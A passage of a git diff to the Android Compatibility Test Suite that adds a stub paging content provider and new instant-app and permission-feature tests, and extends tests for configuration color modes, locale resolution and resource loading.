+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.content.cts;
+
+import android.content.ContentProvider;
+import android.content.ContentResolver;
+import android.content.ContentValues;
+import android.database.Cursor;
+import android.database.MatrixCursor;
+import android.database.MatrixCursor.RowBuilder;
+import android.net.Uri;
+import android.os.Bundle;
+import android.os.CancellationSignal;
+import android.util.Log;
+import android.util.MathUtils;
+
+import javax.annotation.Nullable;
+
+/**
+ * A stub data paging provider used for testing of paging support.
+ * Ignores client supplied projections.
+ */
+public final class TestPagingContentProvider extends ContentProvider {
+
+    static final String AUTHORITY = "android.content.cts.testpagingprovider";
+
+    static final Uri PAGED_DATA_URI = Uri.parse("content://" + AUTHORITY + "/paged/");
+    static final Uri UNPAGED_DATA_URI = Uri.parse("content://" + AUTHORITY + "/un-paged/");
+
+    /** Required queryArgument specifying corpus size. */
+    static final String RECORD_COUNT = "test-record-count";
+    static final String COLUMN_POS = "ColumnPos";
+    static final String COLUMN_A = "ColumnA";
+    static final String COLUMN_B = "ColumnB";
+    static final String COLUMN_C = "ColumnC";
+    static final String COLUMN_D = "ColumnD";
+    static final String[] PROJECTION = {
+        COLUMN_POS,
+        COLUMN_A,
+        COLUMN_B,
+        COLUMN_C,
+        COLUMN_D
+    };
+
+    private static final String TAG = "TestPagingContentProvider";
+
+    @Override
+    public boolean onCreate() {
+        return true;
+    }
+
+    @Override
+    public Cursor query(Uri uri, String[] ignored, Bundle queryArgs,
+            CancellationSignal cancellationSignal) {
+
+        queryArgs = queryArgs != null ? queryArgs : Bundle.EMPTY;
+
+        int recordCount = queryArgs.getInt(RECORD_COUNT, Integer.MIN_VALUE);
+        if (recordCount == Integer.MIN_VALUE) {
+            throw new RuntimeException("Recordset size must be specified.");
+        }
+
+        if (recordCount < 0) {
+            throw new RuntimeException("Recordset size must be >= 0");
+        }
+
+        Cursor cursor = null;
+        if (PAGED_DATA_URI.equals(uri)) {
+            cursor = buildPagedResults(queryArgs, recordCount);
+        } else if (UNPAGED_DATA_URI.equals(uri)) {
+            cursor = buildUnpagedResults(recordCount);
+        }
+
+        if (cursor == null) {
+            throw new IllegalArgumentException("Unsupported URI: " + uri);
+        }
+
+        cursor.setNotificationUri(getContext().getContentResolver(), uri);
+
+        Log.v(TAG, "Final cursor contains " + cursor.getCount() + " rows.");
+        return cursor;
+    }
+
+    private Cursor buildPagedResults(Bundle queryArgs, int recordsetSize) {
+
+        int offset = queryArgs.getInt(ContentResolver.QUERY_ARG_OFFSET, 0);
+        int limit = queryArgs.getInt(ContentResolver.QUERY_ARG_LIMIT, Integer.MIN_VALUE);
+
+        Log.v(TAG, "Building paged results. {"
+                + "recordsetSize=" + recordsetSize
+                + ", offset=" + offset
+                + ", limit=" + limit + "}");
+
+        MatrixCursor c = createCursor();
+        Bundle extras = c.getExtras();
+
+        // Calculate the number of items to include in the cursor.
+        int numItems = MathUtils.constrain(recordsetSize - offset, 0, limit);
+
+        // Build the paged result set.
+        for (int i = offset; i < offset + numItems; i++) {
+            fillRow(c.newRow(), i);
+        }
+
+        extras.putStringArray(ContentResolver.EXTRA_HONORED_ARGS, new String[] {
+            ContentResolver.QUERY_ARG_OFFSET,
+            ContentResolver.QUERY_ARG_LIMIT
+        });
+        extras.putInt(ContentResolver.EXTRA_TOTAL_COUNT, recordsetSize);
+        return c;
+    }
+
+    private Cursor buildUnpagedResults(int recordsetSize) {
+
+        Log.v(TAG, "Building un-paged results. {" + "recordsetSize=" + recordsetSize + "}");
+
+        MatrixCursor c = createCursor();
+
+        // Build the unpaged result set.
+        for (int i = 0; i < recordsetSize; i++) {
+            fillRow(c.newRow(), i);
+        }
+
+        return c;
+    }
+
+    private MatrixCursor createCursor() {
+        MatrixCursor c = new MatrixCursor(PROJECTION);
+        Bundle extras = new Bundle();
+        c.setExtras(extras);
+        return c;
+    }
+
+    private void fillRow(RowBuilder row, int pos) {
+        row.add(COLUMN_POS, pos);
+        row.add(COLUMN_A, "--aaa--" + pos);
+        row.add(COLUMN_B, "**bbb**" + pos);
+        row.add(COLUMN_C, "^^ccc^^" + pos);
+        row.add(COLUMN_D, "##ddd##" + pos);
+    }
+
+    @Override
+    public Cursor query(
+            Uri uri, @Nullable String[] projection, String selection, String[] selectionArgs,
+            String sortOrder) {
+        throw new UnsupportedOperationException("Call query w/ Bundle args");
+    }
+
+    @Override
+    public String getType(Uri uri) {
+        throw new UnsupportedOperationException();
+    }
+
+    @Override
+    public Uri insert(Uri uri, ContentValues values) {
+        throw new UnsupportedOperationException();
+    }
+
+    @Override
+    public int delete(Uri uri, String selection, String[] selectionArgs) {
+        throw new UnsupportedOperationException();
+    }
+
+    @Override
+    public int update(Uri uri, ContentValues values, String selection, String[] selectionArgs) {
+        throw new UnsupportedOperationException();
+    }
+}
diff --git a/tests/tests/content/src/android/content/pm/cts/ComponentInfoTest.java b/tests/tests/content/src/android/content/pm/cts/ComponentInfoTest.java
index e11beec..c937e2a 100644
--- a/tests/tests/content/src/android/content/pm/cts/ComponentInfoTest.java
+++ b/tests/tests/content/src/android/content/pm/cts/ComponentInfoTest.java
@@ -20,14 +20,16 @@
 import android.content.pm.ComponentInfo;
 import android.content.pm.PackageManager;
 import android.content.pm.PackageManager.NameNotFoundException;
-import android.cts.util.WidgetTestUtils;
-import android.graphics.drawable.BitmapDrawable;
+import android.graphics.Bitmap;
+import android.graphics.Canvas;
 import android.graphics.drawable.Drawable;
 import android.os.Parcel;
 import android.test.AndroidTestCase;
 import android.util.Printer;
 import android.util.StringBuilderPrinter;
 
+import com.android.compatibility.common.util.WidgetTestUtils;
+
 import android.content.cts.R;
 
 
@@ -66,6 +68,14 @@
         }
     }
 
+    private Bitmap createIconBitmap(Drawable d) {
+        int size = Math.round(100 * getContext().getResources().getDisplayMetrics().density) + 100;
+        Bitmap bitmap = Bitmap.createBitmap(size, size, Bitmap.Config.ARGB_8888);
+        d.setBounds(0, 0, size, size);
+        d.draw(new Canvas(bitmap));
+        return bitmap;
+    }
+
     public void testLoadIcon() {
         mComponentInfo = new ComponentInfo();
         mComponentInfo.applicationInfo = new ApplicationInfo();
@@ -79,14 +89,12 @@
         d = mComponentInfo.loadIcon(pm);
         assertNotNull(d);
         assertNotSame(d, defaultIcon);
-        WidgetTestUtils.assertEquals(((BitmapDrawable) d).getBitmap(),
-                ((BitmapDrawable) defaultIcon).getBitmap());
+        WidgetTestUtils.assertEquals(createIconBitmap(d), createIconBitmap(defaultIcon));
 
         d2 = mComponentInfo.loadIcon(pm);
         assertNotNull(d2);
         assertNotSame(d, d2);
-        WidgetTestUtils.assertEquals(((BitmapDrawable) d).getBitmap(),
-                ((BitmapDrawable) d2).getBitmap());
+        WidgetTestUtils.assertEquals(createIconBitmap(d), createIconBitmap(d2));
 
         try {
             mComponentInfo.loadIcon(null);
diff --git a/tests/tests/content/src/android/content/pm/cts/InstantAppTest.java b/tests/tests/content/src/android/content/pm/cts/InstantAppTest.java
new file mode 100644
index 0000000..81263d1
--- /dev/null
+++ b/tests/tests/content/src/android/content/pm/cts/InstantAppTest.java
@@ -0,0 +1,75 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.content.pm.cts;
+
+
+import android.content.cts.MockActivity;
+
+import static android.content.pm.PackageManager.MATCH_DIRECT_BOOT_AWARE;
+import static android.content.pm.PackageManager.MATCH_DIRECT_BOOT_UNAWARE;
+import static android.content.pm.PackageManager.MATCH_SYSTEM_ONLY;
+
+import android.content.Intent;
+import android.content.pm.PackageManager;
+import android.content.pm.ResolveInfo;
+import android.net.Uri;
+import android.test.AndroidTestCase;
+
+import java.io.File;
+import java.util.List;
+import java.util.Set;
+
+/**
+ * Test instant apps.
+ */
+public class InstantAppTest extends AndroidTestCase {
+    private static final String PACKAGE_MIME_TYPE = "application/vnd.android.package-archive";
+
+    private PackageManager mPackageManager;
+
+    @Override
+    protected void setUp() throws Exception {
+        super.setUp();
+        mPackageManager = getContext().getPackageManager();
+    }
+
+    /** Ensure only one resolver is defined */
+    public void testInstantAppResolverQuery() {
+        final Intent resolverIntent = new Intent(Intent.ACTION_RESOLVE_INSTANT_APP_PACKAGE);
+        final int resolveFlags =
+                MATCH_DIRECT_BOOT_AWARE
+                | MATCH_DIRECT_BOOT_UNAWARE
+                | MATCH_SYSTEM_ONLY;
+        final List<ResolveInfo> matches =
+                mPackageManager.queryIntentServices(resolverIntent, resolveFlags);
+        assertTrue(matches == null || matches.size() <= 1);
+    }
+
+    /** Ensure only one resolver is defined */
+    public void testInstantAppInstallerQuery() {
+        final Intent intent = new Intent(Intent.ACTION_INSTALL_INSTANT_APP_PACKAGE);
+        intent.addCategory(Intent.CATEGORY_DEFAULT);
+        intent.setDataAndType(Uri.fromFile(new File("foo.apk")), PACKAGE_MIME_TYPE);
+        final int resolveFlags =
+                MATCH_DIRECT_BOOT_AWARE
+                | MATCH_DIRECT_BOOT_UNAWARE
+                | MATCH_SYSTEM_ONLY;
+        final List<ResolveInfo> matches =
+                mPackageManager.queryIntentActivities(intent, resolveFlags);
+        assertTrue(matches == null || matches.size() <= 1);
+    }
+}
diff --git a/tests/tests/content/src/android/content/pm/cts/PermissionFeatureTest.java b/tests/tests/content/src/android/content/pm/cts/PermissionFeatureTest.java
new file mode 100644
index 0000000..3fd86ce
--- /dev/null
+++ b/tests/tests/content/src/android/content/pm/cts/PermissionFeatureTest.java
@@ -0,0 +1,64 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.content.pm.cts;
+
+import android.content.pm.PackageManager;
+import android.test.AndroidTestCase;
+
+public class PermissionFeatureTest extends AndroidTestCase {
+    public void testPermissionRequiredFeatureDefined() {
+        PackageManager pm = getContext().getPackageManager();
+        assertEquals(PackageManager.PERMISSION_GRANTED,
+                pm.checkPermission("android.content.cts.REQUIRED_FEATURE_DEFINED",
+                        getContext().getPackageName()));
+    }
+
+    public void testPermissionRequiredFeatureUndefined() {
+        PackageManager pm = getContext().getPackageManager();
+        assertEquals(PackageManager.PERMISSION_DENIED,
+                pm.checkPermission("android.content.cts.REQUIRED_FEATURE_UNDEFINED",
+                        getContext().getPackageName()));
+    }
+
+    public void testPermissionRequiredNotFeatureDefined() {
+        PackageManager pm = getContext().getPackageManager();
+        assertEquals(PackageManager.PERMISSION_DENIED,
+                pm.checkPermission("android.content.cts.REQUIRED_NOT_FEATURE_DEFINED",
+                        getContext().getPackageName()));
+    }
+
+    public void testPermissionRequiredNotFeatureUndefined() {
+        PackageManager pm = getContext().getPackageManager();
+        assertEquals(PackageManager.PERMISSION_GRANTED,
+                pm.checkPermission("android.content.cts.REQUIRED_NOT_FEATURE_UNDEFINED",
+                        getContext().getPackageName()));
+    }
+
+    public void testPermissionRequiredMultiDeny() {
+        PackageManager pm = getContext().getPackageManager();
+        assertEquals(PackageManager.PERMISSION_DENIED,
+                pm.checkPermission("android.content.cts.REQUIRED_MULTI_DENY",
+                        getContext().getPackageName()));
+    }
+
+    public void testPermissionRequiredMultiGrant() {
+        PackageManager pm = getContext().getPackageManager();
+        assertEquals(PackageManager.PERMISSION_GRANTED,
+                pm.checkPermission("android.content.cts.REQUIRED_MULTI_GRANT",
+                        getContext().getPackageName()));
+    }
+}
diff --git a/tests/tests/content/src/android/content/res/cts/AssetManagerTest.java b/tests/tests/content/src/android/content/res/cts/AssetManagerTest.java
index 4893ec1..1387be0 100644
--- a/tests/tests/content/src/android/content/res/cts/AssetManagerTest.java
+++ b/tests/tests/content/src/android/content/res/cts/AssetManagerTest.java
@@ -139,13 +139,16 @@
     public void testGetNonSystemLocales() {
         // This is the list of locales built into this test package. It is basically the locales
         // specified in the Android.mk files (assuming they have corresponding resources), plus the
-        // special case for Filipino.
+        // special cases for Filipino.
         final String KNOWN_LOCALES[] = {
             "cs",
             "fil",
             "fil-PH",
+            "fil-SA",
             "fr",
             "fr-FR",
+            "iw",
+            "iw-IL",
             "kok",
             "kok-419",
             "kok-419-variant",
@@ -154,8 +157,11 @@
             "kok-Knda-419",
             "kok-Knda-419-variant",
             "kok-variant",
+            "mk",
+            "mk-MK",
             "tgl",
             "tgl-PH",
+            "tlh",
             "xx",
             "xx-YY"
         };
diff --git a/tests/tests/content/src/android/content/res/cts/ConfigTest.java b/tests/tests/content/src/android/content/res/cts/ConfigTest.java
index 2390146..8056432 100644
--- a/tests/tests/content/src/android/content/res/cts/ConfigTest.java
+++ b/tests/tests/content/src/android/content/res/cts/ConfigTest.java
@@ -46,6 +46,7 @@
         KEYBOARDHIDDEN,
         NAVIGATION,
         ORIENTATION,
+        COLOR_MODE,
         WIDTH,
         HEIGHT,
         DENSITY,
@@ -118,6 +119,9 @@
                 case ORIENTATION:
                     mConfig.orientation = value;
                     break;
+                case COLOR_MODE:
+                    mConfig.colorMode = value;
+                    break;
                 case WIDTH:
                     mMetrics.widthPixels = value;
                     mMetrics.noncompatWidthPixels = value;
@@ -357,6 +361,34 @@
                 R.styleable.TestConfig, new String[]{"bag square"});
 
         config = makeEmptyConfig();
+        config.setProperty(Properties.COLOR_MODE, Configuration.COLOR_MODE_HDR_YES);
+        res = config.getResources();
+        checkValue(res, R.configVarying.simple, "simple hdr");
+        checkValue(res, R.configVarying.bag,
+                R.styleable.TestConfig, new String[]{"bag hdr"});
+
+        config = makeEmptyConfig();
+        config.setProperty(Properties.COLOR_MODE, Configuration.COLOR_MODE_HDR_NO);
+        res = config.getResources();
+        checkValue(res, R.configVarying.simple, "simple ldr");
+        checkValue(res, R.configVarying.bag,
+                R.styleable.TestConfig, new String[]{"bag ldr"});
+
+        config = makeEmptyConfig();
+        config.setProperty(Properties.COLOR_MODE, Configuration.COLOR_MODE_WIDE_COLOR_GAMUT_YES);
+        res = config.getResources();
+        checkValue(res, R.configVarying.simple, "simple widecg");
+        checkValue(res, R.configVarying.bag,
+                R.styleable.TestConfig, new String[]{"bag widecg"});
+
+        config = makeEmptyConfig();
+        config.setProperty(Properties.COLOR_MODE, Configuration.COLOR_MODE_WIDE_COLOR_GAMUT_NO);
+        res = config.getResources();
+        checkValue(res, R.configVarying.simple, "simple nowidecg");
+        checkValue(res, R.configVarying.bag,
+                R.styleable.TestConfig, new String[]{"bag nowidecg"});
+
+        config = makeEmptyConfig();
         config.setProperty(Properties.SCREENLAYOUT, Configuration.SCREENLAYOUT_SIZE_SMALL);
         res = config.getResources();
         checkValue(res, R.configVarying.simple, "simple small");
@@ -891,9 +923,9 @@
 // nokeys is set
 
     @MediumTest
-    public void testPrecidence() {
+    public void testPrecedence() {
         /**
-         * Check for precidence of resources selected when there are multiple
+         * Check for precedence of resources selected when there are multiple
          * options matching the current config.
          */
         TotalConfig config = makeEmptyConfig();
@@ -940,6 +972,18 @@
         checkValue(res, R.configVarying.bag,
                 R.styleable.TestConfig, new String[]{"bag landscape"});
 
+        config.setProperty(Properties.COLOR_MODE, Configuration.COLOR_MODE_HDR_YES);
+        res = config.getResources();
+        checkValue(res, R.configVarying.simple, "simple hdr");
+        checkValue(res, R.configVarying.bag,
+                R.styleable.TestConfig, new String[]{"bag hdr"});
+
+        config.setProperty(Properties.COLOR_MODE, Configuration.COLOR_MODE_WIDE_COLOR_GAMUT_YES);
+        res = config.getResources();
+        checkValue(res, R.configVarying.simple, "simple widecg");
+        checkValue(res, R.configVarying.bag,
+                R.styleable.TestConfig, new String[]{"bag widecg"});
+
         config.setProperty(Properties.SCREENLAYOUT, Configuration.SCREENLAYOUT_SIZE_XLARGE);
         res = config.getResources();
         checkValue(res, R.configVarying.simple, "simple xlarge");
@@ -1153,6 +1197,42 @@
     }
 
     @MediumTest
+    public void testNormalLocales() {
+        Resources res;
+        TotalConfig config = makeClassicConfig();
+        // Hebrew
+        config.setProperty(Properties.LANGUAGE, "iw");
+        res = config.getResources();
+        checkValue(res, R.configVarying.simple, "simple iw");
+        checkValue(res, R.configVarying.bag,
+                R.styleable.TestConfig, new String[]{"bag iw"});
+
+        // Hebrew for Israel
+        config.setProperty(Properties.LANGUAGE, "iw");
+        config.setProperty(Properties.COUNTRY, "IL");
+        res = config.getResources();
+        checkValue(res, R.configVarying.simple, "simple iw IL");
+        checkValue(res, R.configVarying.bag,
+                R.styleable.TestConfig, new String[]{"bag iw IL"});
+
+        config = makeClassicConfig();
+        // Macedonian
+        config.setProperty(Properties.LANGUAGE, "mk");
+        res = config.getResources();
+        checkValue(res, R.configVarying.simple, "simple mk");
+        checkValue(res, R.configVarying.bag,
+                R.styleable.TestConfig, new String[]{"bag mk"});
+
+        // Macedonian for Macedonia
+        config.setProperty(Properties.LANGUAGE, "mk");
+        config.setProperty(Properties.COUNTRY, "MK");
+        res = config.getResources();
+        checkValue(res, R.configVarying.simple, "simple mk MK");
+        checkValue(res, R.configVarying.bag,
+                R.styleable.TestConfig, new String[]{"bag mk MK"});
+    }
+
+    @MediumTest
     public void testExtendedLocales() {
         TotalConfig config = makeClassicConfig();
         // BCP 47 Locale kok
@@ -1225,9 +1305,9 @@
         config.setProperty(Properties.LANGUAGE, "fil");
         config.setProperty(Properties.COUNTRY, "US");
         Resources res = config.getResources();
-        checkValue(res, R.configVarying.simple, "simple tl");
+        checkValue(res, R.configVarying.simple, "simple fil");  // We have this resource in 'fil'
         checkValue(res, R.configVarying.bag,
-                R.styleable.TestConfig, new String[] { "bag tl" });
+                R.styleable.TestConfig, new String[] { "bag tl" });  // But this comes from 'tl'
 
         // Ensure that "fil-PH" is mapped to "tl-PH" correctly.
         config = makeClassicConfig();
@@ -1238,6 +1318,24 @@
         checkValue(res, R.configVarying.bag,
                 R.styleable.TestConfig, new String[] { "bag tl PH" });
 
+        // Ensure that "fil-SA" works with no "tl" version.
+        config = makeClassicConfig();
+        config.setProperty(Properties.LANGUAGE, "fil");
+        config.setProperty(Properties.COUNTRY, "SA");
+        res = config.getResources();
+        checkValue(res, R.configVarying.simple, "simple fil");  // This comes from 'fil'
+        checkValue(res, R.configVarying.bag,
+                R.styleable.TestConfig, new String[] { "bag fil SA" });  // And this from 'fil-SA'
+
+        // Ensure that "tlh" is not mistakenly treated as a "tl" variant.
+        config = makeClassicConfig();
+        config.setProperty(Properties.LANGUAGE, "tlh");
+        config.setProperty(Properties.COUNTRY, "US");
+        res = config.getResources();
+        checkValue(res, R.configVarying.simple, "simple tlh");
+        checkValue(res, R.configVarying.bag,
+                R.styleable.TestConfig, new String[] { "bag tlh" });
+
         config = makeClassicConfig();
         config.setProperty(Properties.LANGUAGE, "tgl");
         res = config.getResources();
@@ -1276,8 +1374,9 @@
         }
 
         assertEquals(0, tlLocales.size());
-        assertEquals(2, filLocales.size());
+        assertEquals(3, filLocales.size());
         assertTrue(filLocales.contains("fil"));
         assertTrue(filLocales.contains("fil-PH"));
+        assertTrue(filLocales.contains("fil-SA"));
     }
 }
diff --git a/tests/tests/content/src/android/content/res/cts/ConfigurationTest.java b/tests/tests/content/src/android/content/res/cts/ConfigurationTest.java
index dbc3e21..7355437 100644
--- a/tests/tests/content/src/android/content/res/cts/ConfigurationTest.java
+++ b/tests/tests/content/src/android/content/res/cts/ConfigurationTest.java
@@ -34,6 +34,7 @@
     protected void setUp() throws Exception {
         super.setUp();
         mConfigDefault = new Configuration();
+        mConfigDefault.setToDefaults();
         makeConfiguration();
     }
 
@@ -59,6 +60,13 @@
         final Configuration cfg2 = new Configuration();
         assertEquals(0, cfg1.compareTo(cfg2));
 
+        cfg1.colorMode = 2;
+        cfg2.colorMode = 3;
+        assertEquals(-1, cfg1.compareTo(cfg2));
+        cfg1.colorMode = 3;
+        cfg2.colorMode = 2;
+        assertEquals(1, cfg1.compareTo(cfg2));
+
         cfg1.orientation = 2;
         cfg2.orientation = 3;
         assertEquals(-1, cfg1.compareTo(cfg2));
@@ -169,7 +177,7 @@
         assertEquals(0, mConfigDefault.describeContents());
     }
 
-    void doConfigCompare(int expectedFlags, Configuration c1, Configuration c2) {
+    private static void doConfigCompare(int expectedFlags, Configuration c1, Configuration c2) {
         assertEquals(expectedFlags, c1.diff(c2));
         Configuration tmpc1 = new Configuration(c1);
         assertEquals(expectedFlags, tmpc1.updateFrom(c2));
@@ -290,6 +298,20 @@
                 | ActivityInfo.CONFIG_ORIENTATION
                 | ActivityInfo.CONFIG_UI_MODE
                 | ActivityInfo.CONFIG_FONT_SCALE, mConfigDefault, config);
+        config.colorMode = 2;
+        doConfigCompare(ActivityInfo.CONFIG_MCC
+                | ActivityInfo.CONFIG_MNC
+                | ActivityInfo.CONFIG_LOCALE
+                | ActivityInfo.CONFIG_LAYOUT_DIRECTION
+                | ActivityInfo.CONFIG_SCREEN_LAYOUT
+                | ActivityInfo.CONFIG_TOUCHSCREEN
+                | ActivityInfo.CONFIG_KEYBOARD
+                | ActivityInfo.CONFIG_KEYBOARD_HIDDEN
+                | ActivityInfo.CONFIG_NAVIGATION
+                | ActivityInfo.CONFIG_ORIENTATION
+                | ActivityInfo.CONFIG_UI_MODE
+                | ActivityInfo.CONFIG_FONT_SCALE
+                | ActivityInfo.CONFIG_COLOR_MODE, mConfigDefault, config);
     }
 
     public void testEquals() {
@@ -312,11 +334,62 @@
     }
 
     public void testSetToDefaults() {
-        final Configuration temp = new Configuration(mConfig);
-        assertFalse(temp.equals(mConfigDefault));
-        temp.setToDefaults();
-        assertTrue(temp.equals(mConfigDefault));
-        assertTrue(temp.getLocales().isEmpty());
+        final Configuration config = new Configuration(mConfig);
+        assertFalse(config.equals(mConfigDefault));
+
+        config.setToDefaults();
+        assertTrue(config.equals(mConfigDefault));
+
+        assertEquals(1.0f, config.fontScale);
+        assertEquals(0, config.mcc);
+        assertEquals(0, config.mnc);
+        assertTrue(config.getLocales().isEmpty());
+        assertEquals(null, config.locale);
+        assertFalse(config.userSetLocale);
+        assertEquals(Configuration.TOUCHSCREEN_UNDEFINED, config.touchscreen);
+        assertEquals(Configuration.KEYBOARD_UNDEFINED, config.keyboard);
+        assertEquals(Configuration.KEYBOARDHIDDEN_UNDEFINED, config.keyboardHidden);
+        assertEquals(Configuration.HARDKEYBOARDHIDDEN_UNDEFINED, config.hardKeyboardHidden);
+        assertEquals(Configuration.NAVIGATION_UNDEFINED, config.navigation);
+        assertEquals(Configuration.NAVIGATIONHIDDEN_UNDEFINED, config.navigationHidden);
+        assertEquals(Configuration.ORIENTATION_UNDEFINED, config.orientation);
+        assertEquals(Configuration.SCREENLAYOUT_UNDEFINED, config.screenLayout);
+        assertEquals(Configuration.UI_MODE_TYPE_UNDEFINED, config.uiMode);
+        assertEquals(Configuration.SCREEN_WIDTH_DP_UNDEFINED, config.screenWidthDp);
+        assertEquals(Configuration.SCREEN_WIDTH_DP_UNDEFINED, config.compatScreenWidthDp);
+        assertEquals(Configuration.SCREEN_HEIGHT_DP_UNDEFINED, config.screenHeightDp);
+        assertEquals(Configuration.SCREEN_HEIGHT_DP_UNDEFINED, config.compatScreenHeightDp);
+        assertEquals(Configuration.SMALLEST_SCREEN_WIDTH_DP_UNDEFINED,
+                config.smallestScreenWidthDp);
+        assertEquals(Configuration.DENSITY_DPI_UNDEFINED, config.densityDpi);
+        assertEquals(Configuration.COLOR_MODE_UNDEFINED, config.colorMode);
+    }
+
+    public void testUnset() {
+        Configuration config = new Configuration();
+        assertEquals(0.0f, config.fontScale);
+        assertEquals(0, config.mcc);
+        assertEquals(0, config.mnc);
+        assertTrue(config.getLocales().isEmpty());
+        assertEquals(null, config.locale);
+        assertFalse(config.userSetLocale);
+        assertEquals(Configuration.TOUCHSCREEN_UNDEFINED, config.touchscreen);
+        assertEquals(Configuration.KEYBOARD_UNDEFINED, config.keyboard);
+        assertEquals(Configuration.KEYBOARDHIDDEN_UNDEFINED, config.keyboardHidden);
+        assertEquals(Configuration.HARDKEYBOARDHIDDEN_UNDEFINED, config.hardKeyboardHidden);
+        assertEquals(Configuration.NAVIGATION_UNDEFINED, config.navigation);
+        assertEquals(Configuration.NAVIGATIONHIDDEN_UNDEFINED, config.navigationHidden);
+        assertEquals(Configuration.ORIENTATION_UNDEFINED, config.orientation);
+        assertEquals(Configuration.SCREENLAYOUT_UNDEFINED, config.screenLayout);
+        assertEquals(Configuration.UI_MODE_TYPE_UNDEFINED, config.uiMode);
+        assertEquals(Configuration.SCREEN_WIDTH_DP_UNDEFINED, config.screenWidthDp);
+        assertEquals(Configuration.SCREEN_WIDTH_DP_UNDEFINED, config.compatScreenWidthDp);
+        assertEquals(Configuration.SCREEN_HEIGHT_DP_UNDEFINED, config.screenHeightDp);
+        assertEquals(Configuration.SCREEN_HEIGHT_DP_UNDEFINED, config.compatScreenHeightDp);
+        assertEquals(Configuration.SMALLEST_SCREEN_WIDTH_DP_UNDEFINED,
+                config.smallestScreenWidthDp);
+        assertEquals(Configuration.DENSITY_DPI_UNDEFINED, config.densityDpi);
+        assertEquals(Configuration.COLOR_MODE_UNDEFINED, config.colorMode);
     }
 
     public void testToString() {
@@ -411,6 +484,22 @@
         assertTrue(config.isScreenRound());
     }
 
+    public void testIsScreenHdr() {
+        Configuration config = new Configuration();
+        assertFalse(config.isScreenHdr());
+
+        config.colorMode |= Configuration.COLOR_MODE_HDR_YES;
+        assertTrue(config.isScreenHdr());
+    }
+
+    public void testIsScreenWideColorGamut() {
+        Configuration config = new Configuration();
+        assertFalse(config.isScreenWideColorGamut());
+
+        config.colorMode |= Configuration.COLOR_MODE_WIDE_COLOR_GAMUT_YES;
+        assertTrue(config.isScreenWideColorGamut());
+    }
+
     public void testFixUpLocaleList() {
         Configuration config = new Configuration();
 
diff --git a/tests/tests/content/src/android/content/res/cts/PrivateAttributeTest.java b/tests/tests/content/src/android/content/res/cts/PrivateAttributeTest.java
index cf2f0bc..23afe68 100644
--- a/tests/tests/content/src/android/content/res/cts/PrivateAttributeTest.java
+++ b/tests/tests/content/src/android/content/res/cts/PrivateAttributeTest.java
@@ -17,6 +17,7 @@
 package android.content.res.cts;
 
 import android.content.res.Resources;
+import android.os.Build;
 import android.test.AndroidTestCase;
 import android.util.TypedValue;
 
@@ -26,9 +27,15 @@
  */
 public class PrivateAttributeTest extends AndroidTestCase {
 
-    private static final int sLastPublicAttr = 0x01010530;
+    private static final int sLastPublicAttr = 0x01010568;
 
     public void testNoAttributesAfterLastPublicAttribute() throws Exception {
+        if (!Build.VERSION.CODENAME.equals("REL")) {
+            // Skip the test if this is not a release build.
+            // (resource IDs are not finalized until the OS API number is frozen).
+            return;
+        }
+
         final Resources res = getContext().getResources();
 
         final String lastPublicName;
diff --git a/tests/tests/content/src/android/content/res/cts/ResourcesTest.java b/tests/tests/content/src/android/content/res/cts/ResourcesTest.java
index 0f40ebd..5856a0c 100644
--- a/tests/tests/content/src/android/content/res/cts/ResourcesTest.java
+++ b/tests/tests/content/src/android/content/res/cts/ResourcesTest.java
@@ -23,6 +23,7 @@
 
 import android.content.Context;
 import android.content.cts.util.XmlUtils;
+import android.content.pm.ActivityInfo;
 import android.content.res.AssetManager;
 import android.content.res.ColorStateList;
 import android.content.res.Configuration;
@@ -30,6 +31,9 @@
 import android.content.res.Resources.NotFoundException;
 import android.content.res.TypedArray;
 import android.content.res.XmlResourceParser;
+import android.graphics.Typeface;
+import android.graphics.drawable.AdaptiveIconDrawable;
+import android.graphics.drawable.ColorDrawable;
 import android.graphics.drawable.Drawable;
 import android.os.Bundle;
 import android.os.LocaleList;
@@ -288,6 +292,10 @@
         // app_icon_size is 48px, as defined in cts/tests/res/values/resources_test.xml
         final int size = mResources.getDimensionPixelSize(R.dimen.app_icon_size);
         assertEquals(48, size);
+        assertEquals(1, mResources.getDimensionPixelSize(R.dimen.pos_dimen_149));
+        assertEquals(2, mResources.getDimensionPixelSize(R.dimen.pos_dimen_151));
+        assertEquals(-1, mResources.getDimensionPixelSize(R.dimen.neg_dimen_149));
+        assertEquals(-2, mResources.getDimensionPixelSize(R.dimen.neg_dimen_151));
     }
 
     public void testGetDrawable() {
@@ -321,6 +329,40 @@
         assertEquals(100, hdpi.getIntrinsicWidth());
     }
 
+    public void testGetDrawableForDensityWithZeroDensityIsSameAsGetDrawable() {
+        final Drawable defaultDrawable = mResources.getDrawable(R.drawable.density_test, null);
+        assertNotNull(defaultDrawable);
+
+        final Drawable densityDrawable = mResources.getDrawableForDensity(R.drawable.density_test,
+                0 /*density*/, null);
+        assertNotNull(densityDrawable);
+
+        assertEquals(defaultDrawable.getIntrinsicWidth(), densityDrawable.getIntrinsicWidth());
+    }
+
+    private Drawable extractForegroundFromAdaptiveIconDrawable(int id, int density) {
+        final Drawable drawable = mResources.getDrawableForDensity(id, density, null);
+        assertTrue(drawable instanceof AdaptiveIconDrawable);
